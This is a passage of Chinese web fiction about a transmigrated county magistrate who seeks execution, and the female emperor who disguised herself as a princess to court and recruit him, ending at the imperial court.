秦曦脸上第一次露出笑意,她上下打量了许攸一眼,第一次露出赞叹的表情。 “许攸你是个能人,本宫认为你这样的人,在朝野之外,实在是可惜!” “不当官,还有幕僚,你也可以进入秘书省,担任天子的秘书。” “你也不用怕,朝堂虽是一滩浑水,世家门阀,以及王侯皇室相互倾轧。你是寒门出身,自是怕这些,可你忘记了本宫的身份!” 许攸脑袋上全是问号,他这是怕吗? 他是怕死不掉! 这个时候,他是不敢开口,眼前的云安公主,都已经入魔了,他说的越多,错的也越多。 他却不知道,他不说话,在秦曦的眼底,那就是默认! 秦曦内心暗暗得意,她终于扳回一城,在许攸面前有了话语权。 “这位乃本宫亲舅舅,也是大唐三任首辅,中书省中书令李牧!” “本宫和李相商议过,你拜在他门下,日后朝堂上,只要本宫和李相还在,就无人敢动你。” “对了,还有康王!本宫想他也不会拒绝,哪怕不在朝中,康王的威势也不是什么人都可以小觑的!” “许大人,现在你可以放心了吗?” 许攸眼睛瞪圆,他要是没听错,眼前的李相以及云安公主,打算联袂作保。 至于康王,早就和他说过无数次,青尧县舞台太小,他的世界是整个大唐。 这三人无论是哪一个,那都是可以震慑一方的存在,在朝野中都是至高无上存在。 云安公主是铁了心,要把他弄进朝堂的核心圈子,让他成为大唐的中流砥柱。 可许攸想的是,让天子降旨,觉得他是个反贼,然后砍了他的狗头。 只要他死,他就能带着胭脂走,那么他就能回去,胭脂也有一线生机,跟他一起回到现代。 要是被绑到云安公主的船上,那他可就彻底身不由己。 万万不能答应! 许攸眼睛眯起,他是不可能答应做官,也不可能答应留下帮助云安公主。 “殿下,若是你要谋反,下官可帮你!” “你若是想让下官帮助天子,这是不可能的!” 秦曦迷之自信在这瞬间,彻底僵在脸上。 李牧嘴角的笑意也冻住。 两人想过,许攸会感激,会惶恐,唯独没想到他会拒绝,甚至提议帮助云安公主谋反。 两人的表情被许攸尽收眼底,他也反应过来,自己这动静,有点太过急躁。 “殿下,李老相公,你们的好意,下官受之有愧!” “下官为了发展,剑走偏锋,不应该开此先河,否则人人都如此,那还如何依法治国?” “法不可违,天子犯法和庶民同罪,下官也是如此!” “还请殿下,不用为下官多费口舌!” 秦曦粉嫩的拳头紧紧攥紧,手里的刀,不知道什么时候,早就掉到了地上。 气氛变得很尴尬,偏偏许攸似乎没感受到一样。 “殿下,下官一心求死,不会为朝堂再做任何事!” “说句不客气的话,那狗皇帝还不配我效忠,我情愿一死!” 说完,他将胭脂抱起,扭头再也不看秦曦一眼,转身便向外走去。 第七十七章 朕要勾引他 许攸走的轻巧,可在秦曦的心里,却留下惊涛骇浪。 秦曦呆呆站在原地,视线越拉越长,直到那抹消瘦的身影,彻底消失在视线中,这才回过神。 再次看向地上的蒙逊,她眼底充满杀意。 “蒙逊你好大的胆子,朕让你请人,你却是如此对待?” “来人,拖出去斩了!” 蒙武身形一颤,他感受到有一股死亡视线,在他身上不断徘徊。 眼前的蒙逊是他亲儿子,可他却不敢开口。 “不!陛……” 蒙逊到死都不明白,他身为大将军之子,还掌控墨麟军,甚至军中有人开玩笑,说他可以成为天子的宠臣。 结果他却在玄影的刀下,成了亡魂! 鲜血飞溅到了秦曦的脸上,那张通红的脸,愈发变得冷漠。 秦曦低头将脸颊上的血滴擦掉,恶狠狠瞪了眼蒙武,转身向着营帐走去。 入夜,许攸一脸懵逼的看着眼前两人,以及一个死不瞑目的脑袋。 那颗脑袋正是白天招惹他,已经被砍了的蒙逊。 秦曦坐在首座上,身下影子在烛光中疯狂的闪烁。 整个帐篷都充满肃杀气息,凝滞的气息,压得人喘不过气。 过了许久,秦曦用冷的冻死人声调,缓缓打破凝滞气氛。 “你当真想死?” 面对她的威逼,许攸只是满脸古怪的看了眼李牧,又飞速转头,淡淡的回应。 “是的,很想!” “要是殿下没什么事情,下官告退,明日还要早起,下官不敢怠慢。” 他说完就往外走,根本没给秦曦开口挽留的机会。 眼前的公主殿下,果然是个疯子,一言不合就杀人。 要是死在云安公主手里,那他可就真的白死了,好歹他也是个穿越者,死在女人的手里,而是肚子上,传出去要被众多穿越者嘲笑。 看到许攸就这么走了,李牧满脸的诧异。 秦曦没阻止,而是淡定的端起桌上茶杯,若不是她手哆嗦,让茶水洒出,或许李牧都看不出破绽。 “好!很好!” “朕许久没看到,能让朕都为止侧目的男人!” 秦曦低头轻笑,那笑容很冷,也很疯狂。 这里是大唐,是她的天下,是她秦曦的天下!在这里,她不允许,那就是阎王来了,也得绕道! “他想死,朕就偏不答应!” “朕要你跪在朕面前,求朕!” 李牧嘴角抽动,但凡秦曦刚才这么说,估计许攸会真的跪下,甚至能抱住对方大腿哀求。 他算是看出来了,许攸是真的想死,但不知道是什么原因。 至于心累这种说辞,明显是假的。 先前他已经看过许攸留下的书,哪怕只要些片段,他都看的如同天书,什么二元一次方程,什么线性代数,什么理论物理,对他而言,根本就是未曾听闻的荒唐言论。 但李牧却没反驳,甚至抱着虚心求学,如今在他怀里就有半本手抄本基础物理学。 见秦曦依旧余怒未消,李牧思考许久,这才缓缓搭腔。 “陛下,许攸是一匹烈马,您若是想驯服,不能以寻常手段。” “嗯,舅舅,这些我都懂!” 秦曦怅然若失的叹息了一声,她当然明白这些,今日斩了蒙逊,等于将朝堂上最后一点平衡打破。 等她回到长安城,必然是腥风血雨。 为了登基,她杀了太多人。 她也恨天道不公,恨自己身在皇家,恨自己不是男儿身。 如今最后一丝希望,已经出现在她面前,她不整也得争,否则大唐迟早要毁在她的手里。 “朕打算西征,整个朝堂上,哪怕是蒙武等人,也不会支持朕!” “杀良冒功,此等事情也不是一天,蒙武这个大将军如何来的,他比朕更清楚。” “有许攸在,他就会怕,怕西征成功,怕许攸真的达到他远远达不到的地步,成为封狼居胥的“上将军”!” “一个只知道搬权弄势的武夫,怎么和有匡扶国家之心的悍将能比拟?” “他蒙武若是有许攸半分,朕都不会选择许攸!” 李牧叹息一声,他知道秦曦为了西征,做了多少的准备,但朝中可不会任由她西征。 西征代表巨大的利益,光看青尧县就知道,东西突厥带来的利益,是无法想象的。 “陛下,当以国家为重,且不可在许攸身上,耗费太多的精力。” 事到如今,他也只能想到这句。 秦曦眼底的疯狂消散,转而抬起手,倒了一杯茶,递给李牧。 “舅舅坐下说,朕真的想要他!” “你说朕要是用云安公主身份,和他成婚……” 听到这里,李牧刚端到手里的茶杯,都哐当一下掉落到地上。 那双老眼更是瞪大,犹如牛眼。 “陛下,不可!” “有何不可?” 秦曦露出得意的表情,她是女子身,得位也不正,是从尸体中爬出来,一步步爬到皇位上。 “那些世家子弟早就垂涎朕,若是朕早点有了夫君,也能断了他们的念想。” “至于朕的好夫君,啧啧。” 李牧头皮发麻,他算计人半生,也没敢以身入局。 如今的秦曦已经疯了,居然要以身入局。 正如秦曦所言,一旦那些世家子弟,王宫将相的子弟知道,必然会对许攸不断攻讦。 许攸又是个胆大包天的主,连调戏公主都敢说,更是敢在天子面前摆脸色的货,对待这些送上门的子弟,更加不会给好脸色。 到了那时候,秦曦哪怕什么都不做,都会引起朝堂大乱。 “此计可行,舅舅你快帮我想想,如何才能勾引他上我的床!” 李牧胡子哆嗦,硬是被秦曦拉着坐下开始讨论怎么勾引许攸。 另外一边,许攸踱步回到自己的马车,刚钻进车内,不由破口大骂。 “卧槽,这娘们有病,简直脑袋被门夹了!” “老爷,可是公主又为难你了?” 许攸捏着下巴,将帐篷中所见所闻道出,又跟着无奈苦笑。 他都怀疑云安公主是不是真的神经病,他虽然喜欢对方,可也不是非对方莫娶那种,如今对方几次刁难,让他很头疼。 谁知闻言的胭脂,却捂住嘴窃笑。 “老爷,您太优秀了,那公主殿下怕不是春心萌动,对您动了心。” “真的假的?介娘们不会勾引我吧?” 第七十八章 终于抵达长安城 转眼间又过去半个月,期间每天,许攸都是提心吊胆。 不是其他,主要女帝的骚扰,让他有点难以把持。 “娘的,终于到了!” 眼看长安城的城墙近在咫尺,许攸也松了一口气。 这十几天时间,为了躲避云安公主的骚扰,他差点将自己锁在马车内。 刚开始的时候,云安公主对他,还是怒目而视,到后面干脆演都不演了,直接穿着细纱半夜夜袭。 若不是感觉到尺寸不对,他差点把公主给骑了。 哪怕是他天天躲着,可从那天以后,云安公主见到他就喊“夫君”。 那娇滴滴的模样,还有那可怜的眼神,许攸差点就动心了。 “都是红粉骷髅,莫要乱我道心!” 许攸深吸一口气,长安城抵达,那他也终于可以完成宿命,去阎王爷那里报道,然后回到自己的世界。 他这些动作,自然被骑在马上的秦曦尽收眼底。 秦曦抿着嘴轻笑,她发现许攸也不是真的没弱点,就比如女人! 顺着许攸的目光看去,她嘴角噙着的笑意,突然变得有点苦涩。 那是她的城池,是大唐最辉煌,也是最重要的经济中心,可不知道为什么,她感觉有点寒酸! 没错,那百米长的城墙,十多米高的城门,在她的眼底,确实有点寒酸了! 秦曦脑海内,下意识浮现青尧县,那座特殊的城池。 长安城的城门都是朱红实木,用铁包着木,不但厚重,而且防御力极强。 至于城墙,都是青石砖,为了这条城墙,不知道死了多少人,也不知道耗费了多少财力物力与劳力。 可如今对比下,她反而觉得长安城的城墙,才是人命堆出来的,根本不是城墙,是鲜活的人命! 再看脚下的官道,虽是长安城的门面,可却各种粪便到处都是,两侧也光秃秃的,风沙吹过都迷眼。 青尧县的道路,两侧不但有绿化,还有标识符,以及路程提示,甚至还有休憩的凉亭。 以前秦曦觉得,长安城必然是天下最繁华,也是最华贵的场所。 但如今她只觉得,长安城是华贵,至于繁华根本谈不上,而建筑也全都是人命堆砌,毫无美感。 想着想着她的目光西斜,余光瞥到了正在拉胭脂出来的许攸身上。 看到胭脂,秦曦心里泛起酸味。 “朕在这里,你瞎了眼,都不知道过来问好吗?” 当然,这话她也就在心里说说,真要说出来来,许攸怕是会立刻缩进马车。 很快一行人来到城门下,这里可没什么入城税,秦曦等人干脆下马,打算就这么走进去。 许攸也好奇长安城,拉着胭脂从马车中走出,跟在秦曦等人身后两米位置,晃晃悠悠四下查看。 眼前的长安城果然比青尧县气派,街道宽阔可十匹马并驾齐驱,来往行人更是不少,比起青尧县都不差,甚至还有几名番商。 或许是见惯了青尧县的穷,死要钱的许攸看着往来的行商,以及路人们,下意识的皱起眉嘀咕。 “京兆府的官员,都是吃干饭的吗?” “我的天啊,那可是番商,这群人能榨出多少价值?” “换做是在青尧县,我非得把他们裤衩都扒下来,太浪费了!” 以前许攸也不是这性格,问题是青尧县太穷,几十万人衣食住行,都需要县衙调度统筹。 一分钱他得掰成十份来花,花在刀刃上! 如何来钱,就成了他根深蒂固的思想,至于番商这些,俨然就是他的猎物。 以刚才他所见,不过是十几米的道路,他就看到四支番商的商队,要是按照青尧县的规矩,这些人入城一次,就得几万两白银。 一次几万,十次就是几十万,足够青尧县普通百姓开支! 他的声音可不小,遇到什么浪费的事情,都直言开口点评,首当其冲的京兆府官员们已经成了尸餐味素,混吃等死的废物。 走在前面的李牧和秦曦对视一眼,两人眼皮狂跳,这番话要是传到京兆府,都不等许攸走到皇城,就得被吊死在墙头。 “大坏蛋,你怎么就这么喜欢钱?” 小公主踮起脚,老气横秋的拍拍许攸大腿。 她人小,够不着许攸肩膀,只能学着许攸那官老爷模样,一副小大人姿态指点。 “人不能看重钱,要着眼未来,你看看长安城是不是很繁华?” 许攸可不惯着小公主,这几天虽然被云安公主追杀,但是他也和小公主关系飞升。 一把按住小公主脑袋,将她呆毛揪住,许攸奸计得逞的阴笑。 “小可爱你是不是傻?” “什么是未来?” “没钱,那就是连狗都不如。人生在世不过是钱权二字,若是没权,可活!但要是没钱也没权,那可活不下去了!” “你看到的是繁华,我看得却是腐朽。” 对许攸这番大道理,小公主 习以为常。 小公主气哼哼的踮起脚,想要掰开他的爪子,几次尝试后无果,只能咬着牙,气哼哼的将脑袋扭到一边。 “你说的都是歪理!” “这里可是长安城,在这里收钱,百姓如何看?” “那些外邦的番商,各部落和外邦的使者,又如何看待?” “许攸,你坏!” 小公主自小就生在宫中,脏话什么都不会,憋了半天,就只能气呼呼的骂一句,“你坏”。 许攸差点被逗笑,伸手捏着她的小脸,从怀里掏出块糖,塞进她的口中。 “我是坏,天下之所以好,可必须有人当坏人!” “我又不是圣人,更不是君子,坏点怎么了?” “至于你说的那些,在家国面前,根本不值一提,所谓的脸面,建立在实力的基础上!” “你看过我青尧县,那些部落番商见到我,敢说一句不么?我有的是人,有的是钱,他们不服,那就打到服!” “这就是面子,你还小,可不懂这些!” 许攸的声音充斥着玩笑,丝毫没顾忌周围怪异目光。 在他看来,弱国无外交,这话可不是范范,而是自古就有。 “你!你欺负我!” “哇!” 小公主见说不过,仰起头哇的一声,直接哭出来。 许攸手僵在半空中,他余光中可以清晰看到,这小丫头哭的凶,可居然在笑! “不好!” 第七十九章 一心求死的许攸 “许攸!” 秦曦表情变得冰冷,刚看玩笑的心情,全部烟消云散,那双眸子很不将许攸钉死在原地。 许攸手足无措,他分明看到眼前小公主在笑,可那哭声装的也太像了。 想到三天前,他蹲在火堆旁边,教这个小丫头被姐姐逮到出来玩后,如何假哭才能躲过。 “那个公主殿下,这是意外!” 许攸干巴巴解释,任命般的低下头。 遭到这两个姐妹算计,他还能说什么呢? 秦曦暗暗给小公主打了个眼神,后者立刻不哭了,一边嗦着糖,一边看许攸被骂。 从城门到皇城路途不仅,几人上马车后,许攸都低着头。这导致他都没发现,周围景色已经变化。 来到皇城内后,他后知后觉的掀开车帘,发现眼前的公主马车居然还没停下。 “现在公主都可以带着人,直接畅通无阻的进皇宫内了?” “难道就她就不怕,我是个刺客?” 许攸扭头看向自己身边的护卫,四名护卫一直都在暗中,他们现在也同样现身,就跟在马车边。 看到这景象,他脑袋更是一片混沌。 按照规矩,外臣是不得随便入宫,要得到召见才行,不然就只能去驿站等着。 虽心中生出怀疑,但擅闯禁宫,也是寻死的好罪名。 车队停在一座别院前,秦曦先下车,指着前方的别院,沉声介绍。 “这是本宫的行宫,你且在这里休息,里面早就布置好一切,你若是有其他需要,可以直接吩咐宫女或者太监。” 说完她又跟着道。 “本宫要去面圣,关于你生死,由陛下定夺!” 丢下这话后,秦曦不给许攸发问的机会,快速窜上马车,逃也似的离开了别院。 许攸眉头紧皱,他虽然知道云安公主和天子是亲姐妹,关系很好,可公主的行宫在皇宫内,还安排他住在这里,这到底什么情况? 他一个外臣,还是个小小的县令,是怎么能住在这里的呢? 想不通那就不去想,安排护卫去喂马,他自己吊儿郎当的背着手,开始巡视自己的新地盘。 宫女和太监看到秦曦后,一个个瞪大眼,又看到许攸这吊儿郎当的姿态,吓得脸色都白了。 许攸也不会去刁难宫女太监,美美的享受了一顿难吃的晚餐后,他便沉沉睡去。 翌日,天还未亮,许攸正在做着美梦,耳畔突然传来胭脂的叫声。 “老爷,宫里来人了!” “老爷你快醒醒!” 被这声音催促,许攸猛地睁开眼,入眼是两个宫女,正跪在地上,双手还捧着一身崭新官服。 “什么情况?” 胭脂也满脸茫然,指着身后太监道。 “这位公公说老爷你要上早朝,为了不冲撞到陛下,让你换身新的官袍。” 伴随胭脂让开,她身后老太监也浮现出真容。 那是一张很阴沉的脸,满脸煞白,身上散发出淡淡香气,哪怕隔得很远,许攸也能闻到。 “这位公公,请问现在就上朝?” “陛下难道就没其他旨意,比如说秘密弄死我之类的?” “你准备毒酒没有?没有的话,白绫也行!” 太监老脸上的假笑,瞬间凝固成一团。 来的时候,天子可是亲自吩咐,让他一定要好好伺候,不要触怒许攸,也不准惊扰到对方。 可如今他什么都没说,就是站这里赔笑,这位许大人,开口就是不按常理出牌。 “许大人,还请快些起床,莫要让陛下和百官等候,否则会落下话柄。” “不是,真没有?” 许攸那叫个懵逼,云安公主能让他活到今天,都是奇迹了,难道天子听到他大逆不道事情,真一点不生气? 等会早朝说开了,天子可没脸,那到时候珠帘九族,也没作用。 老太监都快哭了,再三解释什么都没,就是一身官袍,这才让许攸从床上爬起。 太阳还没升起,许攸穿着官袍,拽的和二五八万似的,跟在老太监身后,大不朝议政殿而去。 “公公你们这待遇真不好,这起的比鸡早,睡的比狗晚,天子也太不是人了!” “要不你跟我混,我给你一月开二百两!” 对于许攸的财力,老太监是不敢反驳,可这种骂天子不是人,还当着他的面,这是不是太大胆了? 鉴于天子早早言明,他权当没听到,干脆眼观鼻,鼻观心埋头就往前走。 自讨没趣之后,许攸就开始自己嘀咕,一路上把皇宫的待遇给贬低成了黑心资本家。 …… 另外一侧,议政殿门口,一行人也缓缓出现。 各路官员看到来人,都躬身拱手问好。 “恭王爷贵安。” “各位大人贵安,今日陛下回来,首次早朝,各位可要仔细点。” 恭王秦萧眯起眼,扫过眼前官员,最后落在远处两道身影上。 还未见人,就听到一道不忿的声音传来。 “公公,你倒是说句话,我一个人多没意思?” “你要不和我说下,咱们天子的癖好,等下我好拍拍马屁。” “咱们天子是真的女人吗?漂不漂亮,胸大不大,腿白不白?” “我听说太监都得伺候天子穿衣,你是不是帮她搓过澡,你们就……” 实在不敢接话的老太监,目光看到眼前官员,不由尖叫提醒。 “许大人自重,妄论陛下,可是死罪!” “死罪?那感情好,我许攸就是不怕死,你快给我说说,咱们陛下到底什么模样,难道比她姐丑?” 议政殿前面早到的官员,此刻脑瓜子都嗡嗡作响。 此前天子西巡,没通知任何人,直到半路才有消息传来,当时吓得不少人差点尿出来。 而得知天子西巡的真正目的,也只有几人,这几人之中就有恭王。 在看到老太监后,恭王躬身作了一礼,笑呵呵挡住两人去路。 “王公公,贵安。” “不知道这位是?” 王公公看到恭王,只感觉自己九族终于回来了。 “这位是青尧县的许县令,许攸!” 听到这话,恭王表情凝固,那双乌黑的眼睛瞪圆,满脸都是活见鬼的表情。 整个议政殿前,也陷入到一片死寂。 所有人目光都汇聚到了许攸身上,似乎在看什么怪物! 第八十章 公主变女帝 许攸对长安城的势力不了解,即便是了解,他也不带怕的。 看到来人身穿蟒袍,便猜出对方的身份,躬身也问了一声好。 “王爷,贵安!” 恭王皱起眉,他是少数几个知道,天子具体行踪的人。 在他想象中的许攸,必然是卧龙般存在,剑眉星目,身姿挺拔,犹如天仙谪世。 可看眼前的青年,二十八九年纪,身穿一身崭新官服,流里流气的不说,满嘴都是污言秽语,更没把朝堂威严放在眼底。 “狂徒!” 恭王内心暗暗打下印记,眼前的青年就是个狂徒,根本不值一提的存在。 就在两人交谈间,朝会的钟声蓦然响起。 钟声回荡在皇宫上方,久久不散。 恭王率先进入议政殿,而其他官员则是依次鱼贯而入,每个人都神色庄重,似乎在朝圣一般。 许攸眨眨眼,依旧站在殿外,属实是他也不知道,自己站什么地方。 仔细说起来,他这个县令都是赌来的,和康王交易,以自己脑袋作为筹码,最后赢的赌注。 “王公公,刚才那是什么王爷,派头怎么那么大?” 王公公嘴角疯狂抽动,他在宫中这么多年,哪怕是皇宫贵族看到他,都得问一声好,唯独许攸把他当牛马。 至于许攸口中的恭王,那可更不得了,是为数不多的几位亲王之一,还是一字王! 他感觉自己接了个苦差事,但又不敢惹怒许攸,只能赔笑着解释。 “恭王乃陛下亲叔伯,是六位王爷之一,如今就在皇城外住着。” “恭王身后那几位,是当朝三省侍中,以及六部尚书,今日中书省中书令李大人,会晚些时日到,许大人可不要冲撞几位。” 许攸暗暗嘀咕,李牧他是知道的,但三省六部的官员,他一个都不认识。 听到最后,他都开始犯困,官员们也没入场结束。 “王公公,我和你打听个事情。” 王公公一愣,话到嘴边,把介绍官员身份的话,硬生生给咽了回去。 “许大人有事直说,不用如此客套。” “那个咱们陛下,是不是有个姐姐,封号云安的?” 许攸对云安公主的事情,依旧充满怀疑,此刻正好是个好机会,他便想打听一二,看看这云安公主在朝堂上到底什么分量。 云安公主真要是分量重,他也好做出应对的准备,省的到时候该死的时候死不掉,那就尴尬了! 他说完,却看到一张煞白的脸。 王公公本就脸白,在听到许攸的问话后,那张脸上毫无血色,就仿佛是个死人,双眼瞳孔放大,满脸都是见鬼的惊骇。 许攸伸手,在他面前挥挥手,又左右看了眼,发现没什么脏东西,不由再次出声。 “王公公你这么惊讶做什么?” “难不成云安公主薨了?” 王公公此刻的身体,都已经开始打颤。 “许大人,您可万万不能在陛下面前,提起此事!” “此乃宫中禁忌,云安公主她……她已经薨了三年,就连宫中也胜少有人知道此事。” 轰隆! 许攸脑子里面,仿佛有人用电钻在钻他的脑子。 云安公主薨了三年! 他彻底呆住,仿佛是一尊木雕,呆呆的立在原地,一动也不动。 既然云安公主都已经死了三年,那青尧县内自报家门,说自己是云安公主的,那人到底是谁? 一个荒谬的答案浮现! “不可能!绝对不可能!” 许攸呼吸变得急促,来时路上那一声声“夫君”,喊得他魂都差点丢了,那诱人的娇躯,还有深夜夜袭,这绝对不可能! 可无论他怎么辩驳,脑海深处那个猜想,正在变为现实。 若不是宫殿内的那位,谁能镇得住蒙武,谁又能让李牧这位中书令作陪? 区区一位公主,哪怕是天子的亲姐姐,也不可能在杀了大将军儿子后安然无事,更不可能有数千墨麟军护卫。 当时他只是认为,云安公主身份奇特,再加上康王的出现,导致他错以为是玩脱了,才让天子震怒,将云安公主派出。 死人是不可能复活,哪怕是阎王爷也做不到! 他之所以攒功德,也是为了打开轮回路,给自己选个新身份,重新回到原来世界。 这一刻,他感觉自己好像个傻子,被自己的认知给困在鼓中,甚至不需要其他人来掩盖一切。 他强压下心中惊骇,让呼吸变得平稳后,他再次追问道。 “王公公,此次陛下是否刚回来?” 王公公一脸的诧异,仿佛再说你是不是在逗我的表情。 面对许攸询问,王公公内心虽然困惑,还是照实把事情经历说出。 “许大人,此事不宜声张,陛下昨日才回宫。” 轰隆隆! 许攸两眼一黑,险些一口气没上来。 他那根本不是睡公主,是差点把大唐的皇帝给睡了! 那个自称自己是云安公主的,不是什么真正的公主,而是当今天子,以女子身登基称帝的存在。 难怪李牧身为首辅,都会毕恭毕敬,也难怪蒙武在丧子之痛后,依旧不敢表露任何不满。 这一切的一切,都是源于那人身份! 许攸脸色灰白,他虽学识渊博,但对于女人的了解程度,还不如青楼的龟公。 他应该早就注意到秦曦异常,也应该早就联想到这些不同地方,可惜他这些都没想到。 就在他懊悔自己大意的时候,宫殿内传来了一道尖锐的声音。 “宣荆州青尧县县令许攸,入宫觐见!” 声音尖锐刺耳,犹如猫爪在心头。 王公公浑身一颤,立刻朝着前方躬身,应和道。 “许大人,陛下宣您进去,莫要让陛下久等。” 许攸抬头看向议政殿那高耸台阶,眼前的宫殿恢弘华丽,但在他眼底,不亚于一尊卧着的巨兽。 他知道议政殿内,执掌大唐命脉的天子,就是那个和他一路同行,曾经色诱他的云安公主。 那个被自己愚弄,嘲笑的女人,此刻正坐在龙椅上,等待他入宫。 无名恐惧感,浮上他的心头。 他怕了! “王公公,如果我猥亵了天子,会死吗?” 王公公脚下一滑,引路的动作,直接变成滚,狼狈的从台阶上滚了下去。 第八十一章 诛杀许攸,人人有责 不管王公公那幽怨的目光,许攸一步步拾阶而上,很快便踏入到了大殿之中。 议政殿内文武大臣分左右两列,依次按照官职排序,文臣最前列是李牧和恭王,而武将则是以蒙武为首。 相比文臣眼底的错愕,武将眼中更多的是愤怒,以及看好戏的声色。 许攸对这些目光,全都无视,定定站在大殿中,目光看向龙椅上的人影。 四目相对,他果然看到了一道若有若无,戏谑的笑容。 秦曦很得意,为了看许攸出丑,她今天特意梳妆打扮了一番,她倒要看看,这个胆大妄为的狂徒,知道她身份后,会是什么表情。 是跪地求饶,还是吓得当场尿裤子。 然而,她预料的景象,全都没出现,反而是她眼底的表情,变得精彩。 从起初的戏谑,到惊讶,再到惶恐,最后干脆直接站起来。 “站住!” 秦曦不得不出声,再不出声,她怕许攸窜到她面前。 许攸走到龙太下方,两人之间的距离,只有十步不到。 两侧的护卫,也都拔出了佩刀,双眼死死盯着许攸。 “青尧县县令许攸,拜见陛下!” 许攸躬身行礼,表情很淡定,没有半点的情绪波动。 大殿内陷入死寂,早就猜到结果的李牧,一脸高深莫测表情,而女帝秦曦却如同吃了苍蝇般的难受。 她没看到许攸有任何的惊慌,甚至连害怕都没,那样子就似乎是过来述职,然后等待她的圣旨。 她想过无数种可能,唯独没有这种。 这种难以掌控的滋味,让她很难受。 秦曦眉梢紧锁,怎么想都没想明白,自己是怎么暴露的。 “许攸,你见到朕,为什么一点不惊讶?” 这话很直接,不过语气不是质问,反而像是撒娇。 满朝文武除了李牧之外,就连蒙武都瞪大双眼,满脸见鬼的表情。 许攸淡定的抬起头,进入宫殿之前,他确实很茫然,也很慌张。 可想明白一切后,他就变得坦然了。 他是入京求死,无论女帝是谁,改变不了他的结局,只要圣旨下达,都不用女帝动手,他自己找个柱子撞死都行。 在听到女帝的疑问,许攸依旧是那淡然的模样,不但没丝毫害怕,反而抬起头反问道。 “臣为什么要怕?” 秦曦被这话给呛住,准备好的话语,全部卡在嗓子眼,完全说不出。 她想的挺完美,就是实际剧情,和她想的完全不同。 她又不好当着文武百官的面,直接开口怒斥,说自己乔装出行,在青尧县被俘,墨麟军被辱。 暗骂一声许攸是木头,秦曦懒得纠缠他态度,神色威严的挥动玉手。 “你先去旁边站着,朕要议事。” 许攸一脸懵逼的走到文官中,正打算走去末尾,却被一只手给拽住。 “许大人若是找不到位置,不妨和老夫站一起,我们也好说说话。” 说话的是李牧,那双昏黄老眼中,透露出阵阵精明和阴险。 许攸愣了几秒后,便迈开脚步,朝着李牧身边空位走去。 看他居然一点不推脱,文官们彻底炸开锅。 “这小子是何人,居然敢站在李相身侧,简直胆大包天!” “放肆!” “区区七品县令,岂敢骑在我等头上,小子你还不去门边站着!” 几个年老的官员,见许攸真的站在李牧身侧,当即就忍不住,直接开骂。 李牧斜瞥一眼,把几人的面貌记下来,又扭头看向身侧,正在看好戏的李牧。 “李相,他们几个老不死的,是什么官?” “怎么年岁没您大,官威倒是比那位还大,都快把我吓的尿裤子了。” 噗嗤! 秦曦真没憋住,刚坐下的她,就听到许攸阴阳怪气嘲讽。 刚刚出言的几人,都是朝中三省侍中或者尚书,随便一个拧出来,那都是能压死许攸的存在。 偏偏许攸这番话一出,没有一个人敢动弹,为首最先开口的门下省侍中李昌,此时已经满脸煞白,额头鬓角都被冷汗打湿。 李牧看热闹不嫌事大,捏着胡子故意拱火。 “许大人此言不妥,列位大人都是我大唐栋梁,有些架势那是必然的,可不能随意编排。” 许攸目的就是搞事,事情越大,他死的越快。 等事后女帝后悔,和他也没半毛钱的关系,他早已经飞升回到原来世界。 连死都不怕的他,自然也没什么好怕的,干脆带头冲锋,继续阴阳怪气的讥讽。 “那确实是下官的错,下次见到诸位大人,下官必然退避十里,三拜九叩,恭迎各位大驾。” 骂人不吐脏字,杀人不见血。 退避十里,那只有天子出巡,才会有此等规模,至于三拜九叩,不是给天子,就是给死人。 李昌老脸煞白,早已被许攸这番言论给吓傻。 忽然,他想到了什么,急忙伸手摸向怀里。 “陛下,臣有事启奏!” “臣要参荆州知州,荆州知州治下不严禁,谎报税赋。今年荆州报税赋高达七百万两,且大部分税银以牛羊粟米为冲抵!” “另据臣调查得知,荆州治下大肆收揽流民,光从河内两地,就收揽流民超二十万,此事不得不防!” 朝堂上鸦雀无声,唯有许攸心中一阵兴奋。 他真错怪了这小老头,没想到对方还是个好人,想送他去见阎王。 秦曦也很意外,回来的路程中,她为了不暴露,基本上没管朝政,所有事情都是三省六部代为处理。 见有人提起,她挥手示意太监,将一份奏疏送上。 “诸位,请看看这份奏疏,再做定论!” 李昌愣了愣,他上书的是康王治下不严,有谋反之心,难不成此事天子也知道? 奏疏很快到了他手里,入目第一句话,就惊得他浑身冷汗不停浮现。 【臣许攸有罪,特此列下罪状十宗……】 “是他!他就是许攸!” “狂徒,这就是个狂徒,简直放肆!” “私铸兵甲,屯兵自重,开采盐铁,通敌叛国介是大罪,此獠乃我大唐国贼,不诛杀不得平息民怒!” “臣等恳请陛下,诛杀此獠,以正 国威!” 第八十二章 陛下,求你诛我九族 许攸心里那叫个开心,那叫个激动。 他内心深处,已经开始盘算死法。 “哎呀,我是咬破毒药,还是咬舌呢?” “要不撞死算了?” 和百官的震怒不同,许攸在盘算自己怎么死的利索,至于胭脂那边,他也不担心。 每月他都能和地府那边通一次话,经过他不懈努力,阎王爷终于答应,让他带着胭脂一起轮回。 到时候两人回到原来的世界,双宿双飞,继续过神仙日子,总比在这大唐逍遥自在。 龙椅上的秦曦,也把百官表情看在眼底。 武将们依旧抱着手看好戏,他们还不知道,许攸所谓的城卫军,战斗力到底有多恐怖。 等吵闹声逐渐消散,她这才缓缓开口。 “没错,他就是许攸!三个月前,他递上奏疏,奏明十宗罪,请朕降旨,将他问罪!” 此话无疑是在定性,定性许攸有罪。 文武百官再次将目光凝聚到一起,聚在许攸的身上。 大唐建立以来,准确的说,哪怕是从史书中,也未曾有人敢直接上书,陈述自己的罪证。 这不是请死,这是在挑衅皇室威严,在挑衅大唐的威严。 就在百官暗暗打量许攸时,秦曦再次开口。 “朕想告诉各位,这三个月时间,朕并非南巡,而是带着大将军蒙武、中书令李牧,及五千墨麟军西巡。” “朕亲自前往了青尧县,见到许攸口中十宗罪!” 这话不亚于是惊雷,精准落到文武百官的头顶。 天子没有南巡,而是去了西面,还是去西北巡视荆州! 此事居然没有一个人知晓,哪怕是武将团体,也没人知晓。 跪在地上请命的官员,没有一个内心是不惶恐的。 能出现在大殿上,多少也是有点真本事。 如今许攸安然无事,天子也没下令,那十有八九就证明,天子不想杀许攸,或者说此事还有变数。 李昌最为倒霉,他是先跪下,也是先带头发难,此刻他想退,也不敢退。 秦曦将百官的神态,一一收入眼底,内心深处也生出鄙夷。 “青尧县有一句话,“天子守不了的国门,他们来守”!” “十万城卫军,以抵挡外族为荣,五年时间没让任何外族大军,踏足天关半步!” “至于其他事情,朕也有定论,今日朕就要就此事,给诸位一个答案。” 说到这里,秦曦缓缓起身,目露威严。 “朕宣布,破封许攸为青尧县县令,赐白玉腰带,可随时入宫觐见。” “荆州之内,无论大小所有事情,许攸皆可便宜处置!” “诸位可有意见?” 